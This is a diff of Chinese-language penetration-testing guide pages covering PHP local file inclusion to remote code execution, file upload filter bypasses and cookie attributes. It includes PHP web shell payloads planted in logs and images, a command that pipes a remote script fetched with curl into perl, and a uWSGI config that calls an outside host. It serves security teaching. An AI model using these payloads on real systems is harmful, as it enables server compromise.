在 LFI 仅执行文件读取而不执行其中的 PHP 代码的情况下,通过 `file_get_contents()``fopen()``file()``file_exists()``md5_file()``filemtime()``filesize()` 等函数,可以尝试利用反序列化漏洞。此漏洞与使用 `phar` 协议读取文件有关。
@ -383,7 +383,7 @@ phar-deserialization.md
- [http://](https://www.php.net/manual/en/wrappers.http.php) — 访问 HTTP(s) URL
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — 访问 FTP(s) URL
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 压缩流
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 查找匹配模式的路径名(不返回任何可打印内容,因此在这里并不实用)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — 安全外壳 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 音频流(不适合读取任意文件)
@ -403,20 +403,20 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(system("id")) or '
```
重要的是要**对这些有效载进行URL编码**。
重要的是要**对这些有效载进行URL编码**。
## PHP盲路径遍历
> [!WARNING]
> 技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下相关(例如简单调用**`file()`**)但内容显示。
> 这种技术在您**控制**一个**PHP函数**的**文件路径**并且该函数将**访问一个文件**但您看不到文件内容的情况下相关(例如简单调用**`file()`**)但内容不会显示。
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历**通过错误oracle提取文件内容**。
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历**通过错误oracle提取文件内容**。
总之,该技术使用**"UCS-4LE"编码**使文件内容变得如此**庞大**以至于**打开**该文件的**PHP函数**将触发一个**错误**。
然后,为了泄露第一个字符,过滤器**`dechunk`**与其他过滤器如**base64**或**rot13**一起使用,最后使用过滤器**convert.iconv.UCS-4.UCS-4LE**和**convert.iconv.UTF16.UTF-16BE**来**在开头放置其他字符并泄露它们**。
**可能存在漏洞的函数**`file_get_contents``readfile``finfo->file``getimagesize``md5_file``sha1_file``hash_file``file``parse_ini_file``copy``file_put_contents (仅限目标只读)``stream_get_contents``fgets``fread``fgetc``fgetcsv``fpassthru``fputs`
**可能存在漏洞的函数**`file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (仅限目标只读)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
有关技术细节,请查看上述文章!
@ -424,18 +424,18 @@ assert("strpos('$file', '..') === false") or die("");
### 远程文件包含
如前所述,[**请访问此链接**](./#remote-file-inclusion)。
如前所述,[**请访问此链接**](#remote-file-inclusion)。
### 通过Apache/Nginx日志文件
如果Apache或Nginx服务器在包含函数内部**易受LFI攻击**,您可以尝试访问**`/var/log/apache2/access.log``/var/log/nginx/access.log`**,在**用户代理**或**GET参数**中设置一个php shell如**`<?php system($_GET['c']); ?>`**并包含该文件。
> [!WARNING]
> 请注意,**如果您为shell使用双引号**而不是**单引号**,双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。
> 请注意如果您为shell使用双引号而不是**单引号**,双引号将被修改为字符串"_**quote;**_"**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。
>
> 此外,请确保**正确编写有效载**否则PHP每次尝试加载日志文件时都会出错,您将没有第二次机会。
> 此外,请确保**正确编写有效载**,否则每次PHP尝试加载日志文件时都会出错您将没有第二次机会。
这也可以在其他日志中完成,但**请小心,**日志中的代码可能被URL编码这可能会破坏Shell。头部**授权 "basic"**包含Base64中的"user:password"并在日志中解码。PHPShell可以插入到该头部中。\
这也可以在其他日志中完成,但**请小心,**日志中的代码可能被URL编码这可能会破坏Shell。头部**授权 "basic"**包含"用户:密码"的Base64编码并在日志中解码。PHPShell可以插入到该头部中。\
其他可能的日志路径:
```python
/var/log/apache2/access.log
@ -448,7 +448,7 @@ assert("strpos('$file', '..') === false") or die("");
/var/log/nginx/error.log
/var/log/httpd/error_log
```
模糊测试字典: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### 通过电子邮件
@ -504,7 +504,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
如果 ssh 处于活动状态,请检查正在使用的用户(/proc/self/status & /etc/passwd并尝试访问 **\<HOME>/.ssh/id_rsa**
### **通过** **vsftpd** _**日志**_
### 通过 vsftpd _**日志**_
FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地文件包含LFI漏洞的情况下并且可以访问暴露的 vsftpd 服务器,可以考虑以下步骤:
@ -513,15 +513,15 @@ FTP 服务器 vsftpd 的日志位于 _**/var/log/vsftpd.log**_。在存在本地
### 通过 php base64 过滤器(使用 base64
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 过滤器会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
如 [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 文章所示PHP base64 过滤器会忽略非 base64。您可以利用这一点绕过文件扩展名检查如果您提供以 ".php" 结尾的 base64它会忽略 "." 并将 "php" 附加到 base64。以下是一个有效负载示例
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### 通过 php 过滤器(不需要文件)
### 通过 php 过滤器(无需文件)
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入** 文件。
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 进行包含 **而无需将其写入** 文件。
{{#ref}}
lfi2rce-via-php-filters.md
@ -529,7 +529,7 @@ lfi2rce-via-php-filters.md
### 通过段错误
**上传** 一个将被存储为 **临时** 文件在 `/tmp`,然后在 **同一请求中** 触发 **段错误**,然后 **临时文件不会被删除**,你可以搜索它。
**上传** 一个将被存储为 **临时** 文件在 `/tmp`,然后在 **同一请求中**触发 **段错误**,然后 **临时文件不会被删除**,你可以搜索它。
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -553,7 +553,7 @@ via-php_session_upload_progress.md
### 通过 Windows 中的临时文件上传
如果你发现了 **本地文件包含** 并且服务器在 **Windows** 运行,你可能会获得 RCE
如果你发现了 **本地文件包含** 并且服务器在 **Windows** 运行,你可能会获得 RCE
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -567,7 +567,7 @@ lfi2rce-via-temp-file-uploads.md
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
以下利用CRLF漏洞获取RCE来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
以下利用 CRLF 漏洞获取 RCE来自 [**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -584,7 +584,7 @@ lfi2rce-via-phpinfo.md
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过检查**
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径****服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件****绕过检查**
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md

View File

@ -18,10 +18,10 @@
### 绕过文件扩展名检查
1. 如果适用,**检查** **之前的扩展名**。也可以使用一些**大写字母**进行测试_pHp, .pHP5, .PhAr ..._
2. _检查**在执行扩展名之前添加有效扩展名**也使用之前的扩展名_
2. _检查**在执行扩展名之前添加一个有效扩展名**也使用之前的扩展名_
- _file.png.php_
- _file.png.Php5_
3. 尝试在末尾添加**特殊字符**。可以使用 Burp 来**暴力破解**所有的**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
3. 尝试在末尾添加**特殊字符**。可以使用 Burp 来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**双重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节)。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用像**双重**扩展名或**添加垃圾**数据(**空**字节)在扩展名之间。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,18 +40,18 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 为之前的检查添加**另一层扩展名**
5. 在之前的检查中添加**另一层扩展名**
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(对利用 Apache 配置错误很有用,任何带有扩展名**_**.php**_**的内容,但不一定以 .php 结尾的内容将执行代码):
- _ex: file.php.png_
7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名后和允许扩展名前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**例如“file.asax:.jpg”。该文件可以稍后使用其他技术进行编辑例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此在此模式后添加一个点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)
6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误,其中任何带有扩展名**_**.php**_**的内容,但**不一定以 .php**_**结尾的内容将执行代码):
- _例如: file.php.png_
7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下,禁止扩展名后和允许扩展名前会插入一个冒号字符“:”。因此,服务器上创建一个**带有禁止扩展名的空文件**例如“file.asax:.jpg”。该文件可以稍后使用其他技术进行编辑例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此在此模式后添加一个点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)
8. 尝试打破文件名限制。有效扩展名被截断,恶意 PHP 被保留。AAA<--SNIP-->AAA.php
```
# Linux 最大 255 字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
# 上传文件并检查响应允许多少个字符。假设 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -68,23 +68,23 @@ AAA<--SNIP 232 A-->AAA.php.png
`\` 或者你也可以**直接在图像中引入有效载荷**\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果**压缩被添加到你的图像**,例如使用一些标准的 PHP 库如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
- [**带有代码的 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能在**调整图像大小**,例如使用 PHP-GD 函数 `imagecopyresized``imagecopyresampled`。然而,你可以使用**IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
- [**带有代码的 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种制作**在图像调整大小中存活的有效载荷**的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用**tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
- [**带有代码的 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他检查技巧
- 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。
- 找到一个**本地文件包含**漏洞以执行后门。
- **可能的信息泄露**
1. **多次**(并且**同**)上传**同一文件**使用**相同的名称**
1. **多次**(并且**同时**)上传**同一文件**,使用**相同的名称**
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
3. 上传一个文件,其名称为**“.”、 “..”或“…”**。例如,在 Apache 的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 上传一个可能不易删除的文件,例如**“…:.jpg”**在**NTFS**中。Windows
5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如 `|<>*?”`Windows
6. 在**Windows**中上传一个文件,使用**保留****禁止****名称**,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 和 LPT9。
4. 上传一个可能不易删除的文件,例如**“…:.jpg”**在**NTFS**中。Windows
5. 在**Windows**中上传一个包含**无效字符**的文件,例如 `|<>*?”` 作为其名称Windows
6. 在**Windows**中上传一个使用**保留****禁止****名称**的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 和 LPT9。
- 还可以尝试**上传一个可执行文件**.exe或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
### 特殊扩展名技巧
@ -106,7 +106,7 @@ AAA<--SNIP 232 A-->AAA.php.png
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行RCE漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和运算符。值得注意的是,`@` 运算符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中“exec”方案特别强大允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行RCE漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和操作符。特别是,`@` 操作符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中“exec”方案特别强大允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
考虑以下有害的 `uwsgi.ini` 文件示例,展示各种方案:
```ini
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
在解析配置文件时会执行有效载荷。为了激活和解析配置uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
有效负载的执行发生在配置文件解析期间。为了激活和解析配置uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效载可以插入到二进制文件中(例如图像或 PDF进一步扩大潜在利用的范围。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效载可以插入到二进制文件中(例如图像或 PDF进一步扩大潜在利用的范围。
## **wget 文件上传/SSRF 技巧**
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保下载允许的文件。然而,**此检查可以绕过。**\
**linux** 中 **文件名****最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 会将文件重命名**"A"\*232+".php"**。
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保下载允许的文件。然而,**此检查可以绕过。**\
**linux** 中 **文件名****最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` **重命名** 文件**"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**这样初始URL将绕过检查然后wget将下载重定向的文件并使用新名称。除非使用**参数**`--trust-server-names`,否则**这将不起作用**,因为**wget将下载重定向页面并使用原始URL中指示的文件名**。
注意,您可能正在考虑的**另一个选项**是使**HTTP服务器重定向到另一个文件**因此初始URL将绕过检查然后wget将下载重定向的文件并使用新名称。这**不会工作****除非**wget与**参数**`--trust-server-names`一起使用,因为**wget将下载重定向页面并使用原始URL中指示的文件名**。
## 工具
@ -168,14 +168,14 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- 将**filename**设置为`sleep(10)-- -.jpg`,您可能能够实现**SQL注入**
- 将**filename**设置为`<svg onload=alert(document.domain)>`以实现XSS
- 将**filename**设置为`; sleep 10;`以测试一些命令注入(更多[命令注入技巧在这里](../command-injection.md)
- [**XSS**在图像svg文件上传中](../xss-cross-site-scripting/#xss-uploading-files-svg)
- **JS**文件**上传** + **XSS** = [**服务工作者**利用](../xss-cross-site-scripting/#xss-abusing-service-workers)
- [**XSS**在图像svg文件上传中](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS**文件**上传** + **XSS** = [**服务工作者**利用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE在svg上传中**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\*
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- 特别制作的PDF以实现XSS[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF您可以准备一些将执行任意JS的PDF遵循给定的指示。
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
- 检查上传文件是否有任何**大小限制**
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### 在不同文件夹中解压
在解压过程中意外创建文件在目录中是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制通过操纵目标应用程序的解压功能来逃离安全上传目录。
在解压过程中意外创建文件在目录中是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制通过操纵目标应用程序的解压功能来逃离安全上传目录。
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
```python
@ -229,7 +229,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
下面是用于创建恶意 zip 文件的 Python 代码示例:
```python
@ -289,19 +289,19 @@ pop graphic-context
```
## 在PNG中嵌入PHP Shell
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized``imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响在某些用例中是一个显著的优势。
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized``imagecopyresampled`函数在此上下文中特别相关因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响对某些用例来说是一个显著的优势。
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
关于此技术的详细探讨,包括其方法论和潜在应用,详见以下文章:["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
更多信息在:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## 多语言文件
## 多格式文件
语言文件在网络安全中作为一种独特的工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)它既可以作为GIF也可以作为RAR档案。这样的文件并不限于这种配对像GIF和JS或PPT和JS的组合也是可行的。
格式文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)它既可以作为GIF文件也可以作为RAR归档文件。这类文件并不限于这种组合像GIF和JS或PPT和JS的组合也是可行的。
语言文件的核心实用性在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式例如JS、PHP或Phar文件带来的风险。然而语言文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
格式文件的核心用途在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式例如JS、PHP或Phar文件带来的风险。然而格式文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
尽管它们具有适应性,但多语言文件确实面临限制。例如虽然一个多语言文件可能同时包含一个PHAR文件PHp ARchive和一个JPEG但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格仅仅是多语言文件的结构双重性可能不足以保证其上传。
尽管它们具有适应性,但多格式文件确实面临限制。例如虽然一个多格式文件可能同时包含PHAR文件PHp ARchiveJPEG但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格仅仅是多格式文件的结构双重性可能不足以保证其上传。
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -4,7 +4,7 @@
## Cookie Attributes
Cookies 具有几个属性,控制它们在用户浏览器中的行为。以下是这些属性的简要说明
Cookies 具有几个属性,控制它们在用户浏览器中的行为。以下是这些属性的概述
### Expires and Max-Age
@ -28,9 +28,9 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
### SameSite
- `SameSite` 属性决定是否在来自第三方域的请求中发送 cookie。它提供三种设置
- **Strict**限制 cookie 在第三方请求中发送。
- **Lax**允许 cookie 与由第三方网站发起的 GET 请求一起发送。
- **None**允许 cookie 从任何第三方域发送。
- **Strict**: 限制 cookie 在第三方请求中发送。
- **Lax**: 允许 cookie 与由第三方网站发起的 GET 请求一起发送。
- **None**: 允许 cookie 从任何第三方域发送。
请记住,在配置 cookie 时,理解这些属性可以帮助确保它们在不同场景中按预期行为。
@ -47,8 +47,8 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
表格来自 [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) 并稍作修改。\
具有 _**SameSite**_ 属性的 cookie 将 **减轻 CSRF 攻击**,其中需要登录会话。
**\*请注意,从 Chrome802019年2月开始未设置 cookie samesite 属性的 cookie 的默认行为将为 lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
请注意,临时情况下,在应用此更改后,Chrome 中 **没有 SameSite** **策略的 cookie** 将在 **前 2 分钟内被视为 None**,然后在 **顶级跨站点 POST 请求中被视为 Lax**。
